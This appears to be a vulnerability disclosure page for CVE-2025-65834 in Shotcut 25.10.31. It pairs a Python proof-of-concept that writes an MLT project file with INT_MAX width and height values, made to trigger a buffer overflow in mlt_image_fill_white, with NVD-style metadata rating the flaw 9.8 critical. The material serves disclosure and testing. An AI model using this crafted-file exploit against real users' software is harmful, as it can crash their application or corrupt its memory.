CVE-2025-65834

import xml.etree.ElementTree as ET # Create a malicious MLT project file with oversized width and height parameters # This PoC demonstrates the buffer overflow in Meltytech Shotcut 25.10.31 def create_malicious_mlt(output_file): """ Generate a malicious MLT project file with extreme width and height values to trigger buffer overflow in mlt_image_fill_white function """ # MLT XML structure mlt = ET.Element('mlt') mlt.set('version', '6.26.0') # Create producer with oversized dimensions producer = ET.SubElement(mlt, 'producer') producer.set('id', 'producer0') producer.set('in', '0') producer.set('out', '100') # Critical: Set extremely large width and height values property_elem = ET.SubElement(producer, 'property') property_elem.set('name', 'width') property_elem.text = '2147483647' # INT_MAX - triggers buffer overflow property_elem2 = ET.SubElement(producer, 'property') property_elem2.set('name', 'height') property_elem2.text = '2147483647' # INT_MAX - triggers buffer overflow property_elem3 = ET.SubElement(producer, 'property') property_elem3.set('name', 'resource') property_elem3.text = 'test.mp4' # Create playlist playlist = ET.SubElement(mlt, 'playlist') playlist.set('id', 'playlist0') entry = ET.SubElement(playlist, 'entry') entry.set('producer', 'producer0') entry.set('in', '0') entry.set('out', '100') # Write the malicious MLT file tree = ET.ElementTree(mlt) ET.indent(tree, space=' ') tree.write(output_file, encoding='utf-8', xml_declaration=True) print(f'[+] Malicious MLT file created: {output_file}') print(f'[*] Width: 2147483647, Height: 2147483647') print(f'[*] Open this file with Meltytech Shotcut 25.10.31 to trigger the vulnerability') if __name__ == '__main__': create_malicious_mlt('CVE-2025-65834.mlt')

{"cve": {"id": "CVE-2025-65834", "sourceIdentifier": "[email protected]", "published": "2025-12-16T20:15:48.937", "lastModified": "2026-01-07T21:02:38.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Meltytech Shotcut 25.10.31 is vulnerable to Buffer Overflow. A memory access violation occurs when processing MLT project files with manipulated width and height parameters. By setting these values to extremely large numbers, the application attempts to allocate excessive memory during image processing, triggering a buffer overflow in the mlt_image_fill_white function."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meltytech:shotcut:25.10.31:*:*:*:*:*:*:*", "matchCriteriaId": "CF7FB212-9F4E-44FE-9B8C-0F51ECA7747C"}]}]}], "references": [{"url": "https://bytescan.net/CVE/cve-2025-65834.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://sourceforge.net/projects/shotcut/files/v25.10.31/shotcut-macos-25.10.31.dmg/download", "source": "[email protected]", "tags": ["Product"]}]}}